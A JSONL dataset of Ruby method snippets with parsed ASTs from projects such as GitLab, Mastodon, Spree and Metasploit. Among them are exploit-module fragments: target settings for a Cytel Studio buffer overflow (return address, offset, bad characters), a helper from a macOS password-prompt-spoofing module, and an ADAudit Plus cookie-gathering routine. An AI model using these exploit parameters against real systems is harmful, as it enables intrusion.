calls\"]}]},{\"type\":\"lvasgn\",\"children\":[\"purpose\",{\"type\":\"str\",\"children\":[\"obtain the list of configured domains\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"CONNECTION_FAILED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection failed while attempting to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"purpose\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"domainFullList\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"UNEXPECTED_REPLY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected reply while attempting to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"purpose\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adapcsrf_cookie\",{\"type\":\"csend\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"cookies\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"adapcsrf\"]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"got_cookie\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapcsrf_cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapcsrf_cookie\"]},\"value\"]},\"present?\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"got_cookie\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"NO_ACCESS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Failed to obtain the adapcsrf cookie required to perform API calls\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only_get_cookie\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"SUCCESS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Obtained the adapcsrf cookie required to perform API calls!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapcsrf_cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapcsrf_cookie\"]},\"value\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"configured_domains\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_info\"]},\"include?\",{\"type\":\"str\",\"children\":[\"domainFullList\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"domainFullList\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain_full_list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"domainFullList\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_full_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"key?\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"domain_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_name\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured_domains\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"domain_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to identify any configured domains.\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to identify any configured domains - The server response did not contain valid JSON.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error was: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured_domains\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"NO_DOMAINS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Failed to obtain the list of configured domains.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapcsrf_cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapcsrf_cookie\"]},\"value\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured_domains\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" configured domain(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured_domains\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"SUCCESS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Obtained the adapcsrf cookie required to perform API calls along with the configured domains!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapcsrf_cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapcsrf_cookie\"]},\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"configured_domains\"]},{\"type\":\"lvar\",\"children\":[\"configured_domains\"]}]}]}]}]}","id":"ee90c222-a483-4f0d-8be5-efe895ff3522"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/tracker.rb","start_line":59,"raw_source":"def test_method_lookup_in_module\n    parse_class\n    assert @tracker.find_method(:mixed, :Mixin)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_lookup_in_module\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_class\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"find_method\",{\"type\":\"sym\",\"children\":[\"mixed\"]},{\"type\":\"sym\",\"children\":[\"Mixin\"]}]}]}]}]}","id":"17af5ed0-424d-4e9a-8aeb-e864af59fab4"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/metafield.rb","start_line":43,"raw_source":"def set_type_from_metafield_definition\n      self.type ||= metafield_definition.metafield_type\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_type_from_metafield_definition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metafield_definition\"]},\"metafield_type\"]}]}]}","id":"104b4ce4-705a-449f-bc01-2451cd197f3e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/miq_environment_spec.rb","start_line":66,"raw_source":"def podified_conditions\n          allow(File).to receive(:exist?).with(token_file).and_return(true)\n          allow(File).to receive(:exist?).with(ca_file).and_return(true)\n          container_conditions\n        end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"podified_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"File\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"exist?\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"token_file\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"File\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"exist?\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"ca_file\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"container_conditions\"]}]}]}","id":"2e3990c2-989d-4afc-b371-d61da9a8fe3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":369,"raw_source":"def linkedin_url(user)\n    name = linkedin_name(user)\n    \"https://www.linkedin.com/in/#{name}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"linkedin_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"linkedin_name\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://www.linkedin.com/in/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"9647147d-20a0-47db-94c0-0523f0c9c4db"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/validators/language_validator.rb","start_line":14,"raw_source":"def valid_locale_value?\n    if @value.nil?\n      true\n    elsif @value.is_a?(Array)\n      @value.all? { |x| valid_locale?(x) }\n    else\n      valid_locale?(@value)\n    end\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_locale_value?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"valid_locale?\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]},{\"type\":\"send\",\"children\":[null,\"valid_locale?\",{\"type\":\"ivar\",\"children\":[\"@value\"]}]}]}]}]}","id":"8abb3495-6520-4fb8-8590-a6bc8ca72021"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/pager.rb","start_line":39,"raw_source":"def validate_order!(rel)\n          present_order = rel.order_values.map { |val| [val.expr.name.to_sym, val.direction] }.last(2).to_h\n\n          unless page.order_by == present_order\n            raise ArgumentError, \"Page's order_by does not match the relation's order: #{present_order} vs #{page.order_by}\"\n          end\n        end","complexity_score":23.05,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_order!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"present_order\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"order_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"expr\"]},\"name\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"direction\"]}]}]},\"last\",{\"type\":\"int\",\"children\":[2]}]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"order_by\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"present_order\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Page's order_by does not match the relation's order: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"present_order\"]}]},{\"type\":\"str\",\"children\":[\" vs \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"order_by\"]}]}]}]}]}]}]}","id":"bb36fc49-0a2a-4ffa-92ed-6ff930c48cc4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":66,"raw_source":"def enabled_protocol_button(container, protocol)\n    case protocol\n    when 'ssh'\n      ssh_clone_button(container, append_link: false)\n    else\n      http_clone_button(container, append_link: false)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled_protocol_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"arg\",\"children\":[\"protocol\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ssh\"]},{\"type\":\"send\",\"children\":[null,\"ssh_clone_button\",{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"append_link\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"http_clone_button\",{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"append_link\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"b7d0cced-96f6-47e6-80f8-f74ef6f35e26"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration_spec.rb","start_line":2660,"raw_source":"def register_reverse_ordering\n        config.register_ordering(:reverse, &:reverse)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register_reverse_ordering\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"register_ordering\",{\"type\":\"sym\",\"children\":[\"reverse\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse\"]}]}]}]}","id":"dd9d2635-39d4-4172-ac33-35583f7ffbb5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/password_prompt_spoof.rb","start_line":173,"raw_source":"def get_ver\n    # Get the OS Version\n    cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_ver\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"/usr/bin/sw_vers\"]},{\"type\":\"str\",\"children\":[\"-productVersion\"]}]},\"chomp\"]}]}","id":"8115ca50-1c0c-4ecf-9591-427e42d73642"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/cytel_studio_cy3.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack based buffer overflow found\n          in Cytel Studio <= 9.0. The overflow is triggered during the\n          copying of strings to a stack buffer of 256 bytes.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Luigi Auriemma', # Initial Discovery/PoC\n          'James Fitts <fitts.james[at]gmail.com>' # Metasploit Module (Thx Juan & Jeff)\n        ],\n        'References' => [\n          [ 'CVE', '2011-10015' ],\n          [ 'OSVDB', '75991' ],\n          [ 'BID', '49924' ],\n          [ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\\x09\\x0a\\x0b\\x0c\\x0d\\x1a\\x20\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            # File version 8.0.0.1\n            'Cytel Studio 9.0',\n            {\n              'Ret' => 0x73e58e01, # p/p/r mfc42.dll\n              'Offset' => 500\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-10-02',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']),\n      ]\n    )\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack based buffer overflow found\\n\"]},{\"type\":\"str\",\"children\":[\"          in Cytel Studio <= 9.0. The overflow is triggered during the\\n\"]},{\"type\":\"str\",\"children\":[\"          copying of strings to a stack buffer of 256 bytes.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Luigi Auriemma\"]},{\"type\":\"str\",\"children\":[\"James Fitts <fitts.james[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-10015\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"75991\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"49924\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://aluigi.altervista.org/adv/cytel_1-adv.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\t\\n\\u000b\\f\\r\\u001a \"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Cytel Studio 9.0\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1944423937]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-10-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.cy3\"]}]}]}]}]}]}]}","id":"b47555ec-616e-4162-a19e-ee1b4c460c1b"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/html/parser.rb","start_line":299,"raw_source":"def user_link_if_exists(mention)\n      username = mention.delete(\"@\").downcase\n      if User.find_by(username: username)\n        <<~HTML.chomp\n          <a class='mentioned-user' href='#{ApplicationConfig['APP_PROTOCOL']}#{Settings::General.app_domain}/#{username}'>@#{username}</a>\n        HTML\n      else\n        mention\n      end\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"user_link_if_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"delete\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a class='mentioned-user' href='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]},\"[]\",{\"type\":\"str\",\"children\":[\"APP_PROTOCOL\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"app_domain\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"'>@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"</a>\\n\"]}]},\"chomp\"]},{\"type\":\"lvar\",\"children\":[\"mention\"]}]}]}]}","id":"03f4f7f4-5da1-4a95-87a1-4f08cc115011"}
